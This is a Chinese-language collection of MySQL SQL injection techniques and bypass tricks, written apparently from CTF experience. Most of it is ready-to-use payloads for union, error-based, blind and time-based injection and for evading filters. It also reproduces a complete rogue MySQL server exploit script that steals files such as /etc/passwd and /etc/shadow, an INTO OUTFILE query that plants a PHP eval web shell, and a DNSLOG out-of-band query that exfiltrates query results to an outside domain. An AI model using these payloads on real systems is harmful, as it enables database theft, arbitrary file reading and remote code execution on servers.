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SQL注入基础整理及Tricks总结


前言:对已知的SQL注入手段作了较为全面和详尽的整理,大概是我几年的全部积累了,虽然可能有许多遗漏的地方,但我相信还是很有参考价值的。
本文的注入场景为:

SQL注入基础整理及Tricks总结


一、基础注入

1.联合查询

即最常见的union注入:
若前面的查询结果不为空,则返回两次查询的值:
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若前面的查询结果为空,则只返回union查询的值:
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查完数据库接下来就要查表名:
 
   
   
 
   
     
     
   
' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23
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接下来是字段名:
 
   
   
 
   
     
     
   
' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23
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得到字段名后查询相应字段:
 
   
   
 
   
     
     
   
' union select flag from table1%23
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一个基本的SQL注入过程就结束了。

2.报错注入

报错注入是利用mysql在出错的时候会引出查询信息的特征,常用的报错手段有如下10种:
 
   
   
 
   
     
     
   
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
效果:
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3.布尔盲注

常见的布尔盲注场景有两种,一是返回值只有True或False的类型,二是Order by盲注。
返回值只有True或False的类型
如果查询结果不为空,则返回True(或者是Success之类的),否则返回False
这种注入比较简单,可以挨个猜测表名、字段名和字段值的字符,通过返回结果判断猜测是否正确
例:parameter=’ or ascii(substr((select database()) ,1,1))<115—+
Orderby盲注
order by rand(True)和order by rand(False)的结果排序是不同的,可以根据这个不同来进行盲注:
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例:
 
   
   
 
order by rand(database()='pdotest')
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返回了True的排序,说明database()=’pdotest’是正确的值

4.时间盲注

其实大多数页面,即使存在sql注入也基本是不会有回显的,因此这时候就要用延时来判断查询的结果是否正确。
常见的时间盲注有5种:
1.sleep(x)
 
   
   
 
id=' or sleep(3)%23
id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23
查询结果正确,则延迟3秒,错误则无延时。
2.benchmark()
通过大量运算来模拟延时:
 
   
   
 
id=' or benchmark(10000000,sha(1))%23
id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23
本地测试这个值大约可延时3秒:
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3.笛卡尔积
计算笛卡尔积也是通过大量运算模拟延时:
 
   
   
 
select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C
select balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)
笛卡尔积延时大约也是3秒
4.get_lock
属于比较鸡肋的一种时间盲注,需要两个session,在第一个session中加锁:
 
   
   
 
select get_lock('test',1)
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然后再第二个session中执行查询:
 
   
   
 
select get_lock('test',5)
另一个窗口:
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5.rlike+rpad
rpad(1,3,’a’)是指用a填充第一位的字符串以达到第二位的长度
经本地测试mysql5.7最大允许用单个rpad()填充349525位,而多个rpad()可以填充4个349525位,
因此可用:
 
   
   
 
select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asdasdsadasd',1);
以上所写是本地测试的最大填充长度,延时0.3秒,最后的asdasdasd对时间长度有巨大影响,可以增长其长度以增大时延
这个长度大概是1秒:
 
   
   
 
select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd',1);
这个长度大概是2秒:
 
   
   
 
select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1);

5.HTTP头注入

用于在cookie或referer中存储数据的场景,通常伴随着base64加密或md5等摘要算法,注入方式与上述相同。

6.HTTP分割注入

如果存在一个登录场景,参数为username&password
查询语句为select xxx from xxx where username=’xxx’ and password=’xxx’
但是username参数过滤了注释符,无法将后面的注释掉,则可尝试用内联注释把password注释掉,凑成一条新语句后注释或闭合掉后面的语句:
例如实验吧加了料的报错注入:
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(来源: https://www.cnblogs.com/s1ye/p/8284806.html)
这样就凑成了如下的语句,将password参数直接注释掉:
 
   
   
 
select * from users where username='1' or extractvalue/*'and password='1*/(1,concat(0x7e,(select database()),0x7e))) or '';
当然这种注入的前提是单引号没有被过滤。如果过滤不太多的话,其实也有很多其他的方式如:
 
   
   
 
POST username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1&password=1凑成:select * from users where username='1' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password='1'
还有一个例子是GYCTF中的一道sql注入题,通过注入来登录:
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过滤了空格,union,#,—+,/*,^,or,|
这样上面用类似or ‘1’=’1’万能钥匙的方式来注入就不太可能了。
可以考虑将password作为函数的参数来闭合语句:
 
   
   
 
username=admin'and(strcmp(&password=,'asdasdasdasdasdasd'))and'1这样凑成:select username from users where username='admin'and(strcmp('and password=','asdasdasdasdasdasd'))and'1'
strcmp比较,二者不一致返回True,一致返回False,而MySQL会将’1’判断为数字1,即True,因此该查询语句结果为True

7.二次注入

二次注入就是攻击者构造的恶意payload首先会被服务器存储在数据库中,在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题
假如登录/注册处的SQL语句没有可以注入的地方,并将username储存在session中,而在登录之后页面查询语句没有过滤,为:
select * from users where username=’$_SESSION[‘username’]’
则我们在注册的时候便可将注入语句写入到session中,在登录后再查询的时候则会执行SQL语句:
如username=admin’#,登录后查询语句为:
 
   
   
 
select * from users where username='admin' #'
就构成了SQL注入。

8.SQL约束攻击

假如注册时username参数在mysql中为字符串类型,并且有unique属性,设置了长度为VARCHAR(20)。
则我们注册一个username为admin[20个空格]asd的用户名,则在mysql中首先会判断是否有重复,若无重复,则会截取前20个字符加入到数据库中,所以数据库存储的数据为admin[20个空格],而进行登录的时候,SQL语句会忽略空格,因此我们相当于覆写了admin账号。
 

二、基础绕过

1.大小写绕过

用于过滤时没有匹配大小写的情况:
SelECt * from table;

2.双写绕过

用于将禁止的字符直接删掉的过滤情况如:
preg_replace(‘/select/‘,’’,input)
则可用seselectlect from xxx来绕过,在删除一个select后剩下的就是select from xxx

3.添加注释

 
   
   
 
/*! */类型的注释,内部的语句会被执行
本地mysql5.7测试通过:
SQL注入基础整理及Tricks总结
可以用来绕过一些WAF,或者绕过空格
但是,不能将关键词用注释分开,例如下面的语句是不可以执行的(或者说只能在某些较老的版本执行):
 
   
   
 
select bbb from table1 where balabala='' union se/*!lect database()*/;

4.使用16进制绕过特定字符

如果在查询字段名的时候表名被过滤,或是数据库中某些特定字符被过滤,则可用16进制绕过:
 
   
   
 
select column_name from information_schema.columns where table_name=0x7573657273;
0x7573657273为users的16进制

5.宽字节、Latin1默认编码

宽字节注入
用于单引号被转义,但编码为gbk编码的情况下,用特殊字符将其与反斜杠合并,构成一个特殊字符:
 
   
   
 
username = %df'#经gbk解码后变为:select * from users where username ='運'#
成功闭合了单引号。
Latin1编码
Mysql表的编码默认为latin1,如果设置字符集为utf8,则存在一些latin1中有而utf8中没有的字符,而Mysql是如何处理这些字符的呢?直接忽略
于是我们可以输入?username=admin%c2,存储至表中就变为了admin
上面的%c2可以换为%c2-%ef之间的任意字符

6.各个字符以及函数的代替

数字的代替:
摘自 MySQL注入技巧
代替字符 代替字符 代替的数 数、字 代替的数

false、!pi()

0

ceil(pi()*pi())

A

ceil((pi()+pi())*pi())

K

true、!(!pi())

1

ceil(pi()*pi())+true

B

ceil(ceil(pi())*version())

L

true+true

2

ceil(pi()+pi()+version())

C

ceil(pi()*ceil(pi()+pi()))

M

floor(pi())、~~pi()

3

floor(pi()*pi()+pi())

D

ceil((pi()+ceil(pi()))*pi())

N

ceil(pi())

4

ceil(pi()*pi()+pi())

E

ceil(pi())*ceil(version())

O

floor(version()) //注意版本

5

ceil(pi()*pi()+version())

F

floor(pi()*(version()+pi()))

P

ceil(version())

6

floor(pi()*version())

G

floor(version()*version())

Q

ceil(pi()+pi())

7

ceil(pi()*version())

H

ceil(version()*version())

R

floor(version()+pi())

8

ceil(pi()*version())+true

I

ceil(pi()pi()pi()-pi())

S

floor(pi()*pi())

9

floor((pi()+pi())*pi())

J

floor(pi()pi()floor(pi()))

T

其中!(!pi())代替1本地测试没有成功,还不知道原因。
常用字符的替代
 
   
   
 
and -> &&or -> ||空格-> /**/ -> %a0 -> %0a -> +# -> --+ -> ;%00(php<=5.3.4) -> or '1'='1= -> like -> regexp -> <> -> in注:regexp为正则匹配,利用正则会有些新的注入手段
常用函数的替代
字符串截取/拼接函数:
摘自 https://xz.aliyun.com/t/7169
函数
说明

SUBSTR(str,N_start,N_length)

对指定字符串进行截取,为SUBSTRING的简单版。

SUBSTRING()

多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)

RIGHT(str,len)

对指定字符串从最右边截取指定长度。

LEFT(str,len)

对指定字符串从最左边截取指定长度。

RPAD(str,len,padstr)

在 str 右方补齐 len 位的字符串 padstr,返回新字符串。如果 str 长度大于 len,则返回值的长度将缩减到 len 所指定的长度。

LPAD(str,len,padstr)

与RPAD相似,在str左边补齐。

MID(str,pos,len)

同于 SUBSTRING(str,pos,len)

INSERT(str,pos,len,newstr)

在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串替换为新字符串 newstr,然后返回经过替换后的字符串。INSERT(str,len,1,0x0)可当做截取函数。

CONCAT(str1,str2…)

函数用于将多个字符串合并为一个字符串

GROUP_CONCAT(…)

返回一个字符串结果,该结果由分组中的值连接组合而成。

MAKE_SET(bits,str1,str2,…)

根据参数1,返回所输入其他的参数值。可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710'))

函数/语句
说明


LENGTH(str)

返回字符串的长度。

PI()

返回π的具体数值。

REGEXP “statement”

正则匹配数据,返回值为布尔值。

LIKE “statement”

匹配数据,%代表任意内容。返回值为布尔值。

RLIKE “statement”

与regexp相同。

LOCATE(substr,str,[pos])

返回子字符串第一次出现的位置。

POSITION(substr IN str)

等同于 LOCATE()

LOWER(str)

将字符串的大写字母全部转成小写。同:LCASE(str)

UPPER(str)

将字符串的小写字母全部转成大写。同:UCASE(str)

ELT(N,str1,str2,str3,…)

MAKE_SET(bit,str1,str2...)类似,根据N返回参数值。

NULLIF(expr1,expr2)

若expr1与expr2相同,则返回expr1,否则返回NULL。

CHARSET(str)

返回字符串使用的字符集。

DECODE(crypt_str,pass_str)

使用 pass_str 作为密码,解密加密字符串 crypt_str。加密函数:ENCODE(str,pass_str)

7.逗号被过滤

用join代替:
-1 union select 1,2,3
-1 union select * from (select 1)a join (select 2)b join (select 3)c%23
limit:
limit 2,1
limit 1 offset 2
substr:
substr(database(),5,1)
substr(database() from 5 for 1) from为从第几个字符开始,for为截取几个
substr(database() from 5)
如果for也被过滤了
mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反转,mid和substr等同
if:
if(database()=’xxx’,sleep(3),1)
id=1 and databse()=’xxx’ and sleep(3)
select case when database()=’xxx’ then sleep(5) else 0 end

8.limit被过滤

select user from users limit 1
加限制条件,如:
select user from users group by user_id having user_id = 1 (user_id是表中的一个column)

9.information_schema被过滤

innodb引擎可用mysql.innodb_table_stats、innodb_index_stats,日志将会把表、键的信息记录到这两个表中
除此之外,系统表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于记录查询的缓存,某些情况下可代替information_schema

10.and or && ||被过滤

可用运算符! ^ ~以及not xor来代替:
例如:
 
   
   
 
真^真^真=真
真^假^真=假
真^(!(真^假))=假……
等等一系列组合
eg: select bbb from table1 where ‘29’=’29’^if(ascii(substr(database(),1,1))>0,sleep(3),0)^1;
真则sleep(3),假则无时延
 

三、特定场景的绕过

1.表名已知字段名未知的注入

join注入得到列名:
条件:有回显(本地尝试了下貌似无法进行时间盲注,如果有大佬发现了方法可以指出来)
第一个列名:
 
   
   
 
select * from(select * from table1 a join (select * from table1)b)c
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第二个列名:
 
   
   
 
select * from(select * from table1 a join (select * from table1)b using(balabala))c
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第三个列名:
 
   
   
 
select * from(select * from table1 a join (select * from table1)b using(balabala,eihey))c
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以此类推……
在实际应用的的过程中,该语句可以用于判断条件中
类似于select xxx from xxx where ‘1’=’1’ and 语句=’a’
SQL注入基础整理及Tricks总结
join利用别名直接注入:
上述获取列名需要有回显,其实不需要知道列名即可获取字段内容
采用别名:union select 1,(select b.2 from (select 1,2,3,4 union select * from table1)b limit 1,1),3
该语句即把(select 1,2,3,4 union select * from users)查询的结果作为表b,然后从表b的第1/2/3/4列查询结果
当然,1,2,3,4的数目要根据表的列名的数目来确定。
 
   
   
 
select * from table1 where '1'='' or if(ascii(substr((select b.2 from (select 1,2,3,4 union select * from table1)b limit 3,1),1,1))>1,sleep(3),0)

2.堆叠注入&select被过滤

select被过滤一般只有在堆叠注入的情况下才可以绕过,除了极个别不需要select可以直接用password或者flag进行查询的情况
在堆叠注入的场景里,最常用的方法有两个:
1.预编译:
没错,预编译除了防御SQL注入以外还可以拿来执行SQL注入语句,可谓双刃剑:
 
   
   
 
id=1';Set @x=0x31;Prepare a fromselect balabala from table1 where 1=?”;Execute a using @x;
或者:
 
   
   
 
set @x=0x73656c6563742062616c6162616c612066726f6d207461626c653120776865726520313d31;prepare a from @x;execute a;
上面一大串16进制是select balabala from table1 where 1=1的16进制形式
2.Handler查询
Handler是Mysql特有的轻量级查询语句,并未出现在SQL标准中,所以SQL Server等是没有Handler查询的。
Handler查询的用法:
handler table1 open as fuck;//打开句柄
handler fuck read first;//读所有字段第一条
handler fuck read next;//读所有字段下一条
……
handler fuck close;//关闭句柄

3.PHP正则回溯BUG

PHP为防止正则表达式的DDos,给pcre设定了回溯次数上限,默认为100万次,超过这个上限则未匹配完,则直接返回False。
例如存在preg_match(“/union.+?select/ig”,input)的过滤正则,则我们可以通过构造
 
   
   
 
union/*100万个1*/select
即可绕过。

4.PDO场景下的SQL注入

PDO最主要有下列三项设置:
 
   
   
 
PDO::ATTR_EMULATE_PREPARES
PDO::ATTR_ERRMODE
PDO::MYSQL_ATTR_MULTI_STATEMENTS
第一项为模拟预编译,如果为False,则不存在SQL注入;如果为True,则PDO并非真正的预编译,而是将输入统一转化为字符型,并转义特殊字符。这样如果是gbk编码则存在宽字节注入。
第二项为报错,如果设为True,可能会泄露一些信息。
第三项为多句执行,如果设为True,且第一项也为True,则会存在宽字节+堆叠注入的双重大漏。
详情请查看我的另一篇文章:
从宽字节注入认识PDO的原理和正确使用

5.Limit注入(5.7版本已经废除)

适用于5.0.0-5.6.6版本
如果存在一条语句为
 
   
   
 
select bbb from table1 limit 0,1
后面接可控参数,则可在后面接union select:
 
   
   
 
select bbb from table1 limit 0,1 union select database();
如果查询语句加入了order by:
 
   
   
 
select bbb from table1 order by balabala limit 0,1
,则可用如下语句注入:
 
   
   
 
select bbb from table1 order by balabala limit 0,1 PROCEDURE analyse(1,1)
其中1可换为其他盲注的语句

6.特殊的盲注

(1)查询成功与mysql error
与普通的布尔盲注不同,这类盲注只会回显执行成功和mysql error,如此只能通过可能会报错的注入来实现,常见的比较简单的报错函数有:
 
   
   
 
整数溢出:cot(0), pow(999999,999999), exp(710)
几何函数:polygon(ans), linestring(ans)
因此可以按照下面的逻辑来构造语句:
parameter=1 and 语句 or cot(0)
若语句为真,则返回正确结果并忽略后面的cot(0);语句为假,则执行后面的cot(0)报错
SQL注入基础整理及Tricks总结
无回显的情况:
 
   
   
 
select * from table1 where 1=1 and if(mid(user(),1,1)='r',benchmark(10000000,sha1(1)),1) and cot(0);select * from table1 where 1=1 and if(mid(user(),1,1)='r',concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1) and cot(0);
用rpad+rlike以及benchmark的时间盲注可以成功,但是sleep()不可以,不太清楚原因。
(2)mysql error的前提下延时与不延时
这个看起来有点别扭,就是不管查询结果对还是不对,一定要mysql error
还是感觉很别扭吧……网鼎杯web有道题就是这样的场景,insert注入但是只允许插入20条数据,所以不得不构造mysql error来达到在不插入数据的条件下盲注的目的。详情见 网鼎杯Writeup+闲扯
有个很简单的方法当时没有想到,就是上面rpad+rlike的时间盲注,因为当时sleep测试是没法盲注的,但是没有测试rpad+rlike的情况,这个方法就是:
假 or if(语句,rpad延时语句=’a’,1) and cot(0)
这样,无论语句是真是假,都会向后执行cot(0),必然报错
如果语句为真,则延时,如果语句为假,则不延时,这就完美的达到了目的
payload:
 
   
   
 
select * from table1 where 1=0 or if(mid(user(),1,1)='s','a'=benchmark(1000000,sha1(1)),1) and cot(0);select * from table1 where 1=0 or if(mid(user(),1,1)='s','a'=concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1) and cot(0);
当然,比赛时想到的用sleep()的方法也是可以的。
上面提到cot(0)会报错,即cot(False)会报错,所以只要让内部为False则必定会执行
并且我们知道sleep(x)的返回值为0:
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这样就很好办了,if(语句,sleep(3),0),这样语句不管为真还是假都返回False
所以构造语句
 
   
   
 
select * from table1 where '1'='1' and cot(if(ascii(substr(database(),1,1))>0,sleep(3),0));
(3)表名未知
表名未知只能去猜表名,通过构造盲注去猜测表名,这里不再过多赘述。
 

四.文件的读写

1.读写权限
在进行MySQL文件读写操作之前要先查看是否拥有权限,mysql文件权限存放于mysql表的file_priv字段,对应不同的User,如果可以读写,则数据库记录为Y,反之为N:
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我们可以通过user()查看当前用户是什么,如果对应用户具有读写权限,则往下看,反之则放弃这条路找其他的方法。
除了要查看用户权限,还有一个地方要查看,即secure-file-priv。它是一个系统变量,用于限制读写功能,它的值有三种:
(1)无内容,即无限制
(2)为NULL,表示禁止文件读写
(3)为目录名,表示仅能在此目录下读写
可用select @ @secure_file_priv 查看:
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此处为Windows环境,可以读写的目录为E:wamp64tmp
2.读文件
如果满足上述2个条件,则可尝试读写文件了。
常用的读文件的语句有如下几种:
 
   
   
 
select load_file(file_path);load data infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取服务端文件load data local infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取客户端文件
需要注意的是,file_path必须为绝对路径,且反斜杠需要转义:
SQL注入基础整理及Tricks总结
3.mysql任意文件读取漏洞
攻击原理详见: https://paper.seebug.org/1112/
exp:
摘自: https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
下面filelist是需要读取的文件列表,需要自行设置,该漏洞需要一个恶意mysql服务端,执行exp监听恶意mysql服务的对应端口,在目标服务器登录恶意mysql服务端
 
   
   
 
#!/usr/bin/env python#coding: utf8
import socketimport asyncoreimport asynchatimport structimport randomimport loggingimport logging.handlers
PORT = 3306log = logging.getLogger(__name__)log.setLevel(logging.DEBUG)tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))log.addHandler( tmp_format)
filelist = (# r'c:boot.ini', r'c:windowswin.ini',# r'c:windowssystem32driversetchosts',# '/etc/passwd',# '/etc/shadow',)
#================================================#=======No need to change after this lines=======#================================================
__author__ = 'Gifts'
def daemonize(): import os, warnings if os.name != 'posix': warnings.warn('Cant create daemon on non-posix system') return
if os.fork(): os._exit(0) os.setsid() if os.fork(): os._exit(0) os.umask(0o022) null=os.open('/dev/null', os.O_RDWR) for i in xrange(3): try: os.dup2(null, i) except OSError as e: if e.errno != 9: raise os.close(null)
class LastPacket(Exception): pass
class OutOfOrder(Exception): pass
class mysql_packet(object): packet_header = struct.Struct('<Hbb') packet_header_long = struct.Struct('<Hbbb') def __init__(self, packet_type, payload): if isinstance(packet_type, mysql_packet): self.packet_num = packet_type.packet_num + 1 else: self.packet_num = packet_type self.payload = payload
def __str__(self): payload_len = len(self.payload) if payload_len < 65536: header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num) else: header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "{0}{1}".format( header, self.payload ) return result
def __repr__(self): return repr(str(self))
@staticmethod def parse(raw_data): packet_num = ord(raw_data[0]) payload = raw_data[1:]
return mysql_packet(packet_num, payload)
class http_request_handler(asynchat.async_chat):
def __init__(self, addr): asynchat.async_chat.__init__(self, sock=addr[0]) self.addr = addr[1] self.ibuffer = [] self.set_terminator(3) self.state = 'LEN' self.sub_state = 'Auth' self.logined = False self.push( mysql_packet( 0, "".join(( 'x0a', # Protocol '3.0.0-Evil_Mysql_Server' + '', # Version #'5.1.66-0+squeeze1' + '', 'x36x00x00x00', # Thread ID 'evilsalt' + '', # Salt 'xdfxf7', # Capabilities 'x08', # Collation 'x02x00', # Server Status '' * 13, # Unknown 'evil2222' + '', )) ) )
self.order = 1 self.states = ['LOGIN', 'CAPS', 'ANY']
def push(self, data): log.debug('Pushed: %r', data) data = str(data) asynchat.async_chat.push(self, data)
def collect_incoming_data(self, data): log.debug('Data recved: %r', data) self.ibuffer.append(data)
def found_terminator(self): data = "".join(self.ibuffer) self.ibuffer = []
if self.state == 'LEN': len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1 if len_bytes < 65536: self.set_terminator(len_bytes) self.state = 'Data' else: self.state = 'MoreLength' elif self.state == 'MoreLength': if data[0] != '': self.push(None) self.close_when_done() else: self.state = 'Data' elif self.state == 'Data': packet = mysql_packet.parse(data) try: if self.order != packet.packet_num: raise OutOfOrder() else: # Fix ? self.order = packet.packet_num + 2 if packet.packet_num == 0: if packet.payload[0] == 'x03': log.info('Query')
filename = random.choice(filelist) PACKET = mysql_packet( packet, 'xFB{0}'.format(filename) ) self.set_terminator(3) self.state = 'LEN' self.sub_state = 'File' self.push(PACKET) elif packet.payload[0] == 'x1b': log.info('SelectDB') self.push(mysql_packet( packet, 'xfex00x00x02x00' )) raise LastPacket() elif packet.payload[0] in 'x02': self.push(mysql_packet( packet, 'x02' )) raise LastPacket() elif packet.payload == 'x00x01': self.push(None) self.close_when_done() else: raise ValueError() else: if self.sub_state == 'File': log.info('-- result') log.info('Result: %r', data)
if len(data) == 1: self.push( mysql_packet(packet, 'x02') ) raise LastPacket() else: self.set_terminator(3) self.state = 'LEN' self.order = packet.packet_num + 1
elif self.sub_state == 'Auth': self.push(mysql_packet( packet, 'x02' )) raise LastPacket() else: log.info('-- else') raise ValueError('Unknown packet') except LastPacket: log.info('Last packet') self.state = 'LEN' self.sub_state = None self.order = 0 self.set_terminator(3) except OutOfOrder: log.warning('Out of order') self.push(None) self.close_when_done() else: log.error('Unknown state') self.push('None') self.close_when_done()
class mysql_listener(asyncore.dispatcher): def __init__(self, sock=None): asyncore.dispatcher.__init__(self, sock)
if not sock: self.create_socket(socket.AF_INET, socket.SOCK_STREAM) self.set_reuse_addr() try: self.bind(('', PORT)) except socket.error: exit()
self.listen(5)
def handle_accept(self): pair = self.accept()
if pair is not None: log.info('Conn from: %r', pair[1]) tmp = http_request_handler(pair)
z = mysql_listener()daemonize()asyncore.loop()
4.写文件
 
   
   
 
select 1,"<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/1.php';select 2,"<?php eval($_POST['cmd']);?>" into dumpfile '/var/www/html/1.php';
当secure_file_priv值为NULL时,可用生成日志的方法绕过:
 
   
   
 
set global general_log_file = '/var/www/html/1.php';set global general_log = on;
日志除了general_log还有其他许多日志,实际场景中需要有足够的写入日志的权限,且需要堆叠注入的条件方可采用该方法,因此利用非常困难。
5.DNSLOG(OOB注入)
若用户访问DNS服务器,则会在DNS日志中留下记录。如果请求中带有SQL查询的信息,则信息可被带出到DNS记录中。
利用条件:
1.secure_file_priv为空且有文件读取权限
2.目标为windows(利用了UNC,Linux不可行)
3.无回显且无法时间盲注
利用方法:
可以找一个免费的DNSlog: http://dnslog.cn/
进入后可获取一个子域名,执行:
 
   
   
 
select load_file(concat('\\',(select database()),'.子域名.dnslog.cn'));
相当于访问了select database().子域名.dnslog.cn,于是会留下DNSLOG记录,可从这些记录中查看SQL返回的信息。
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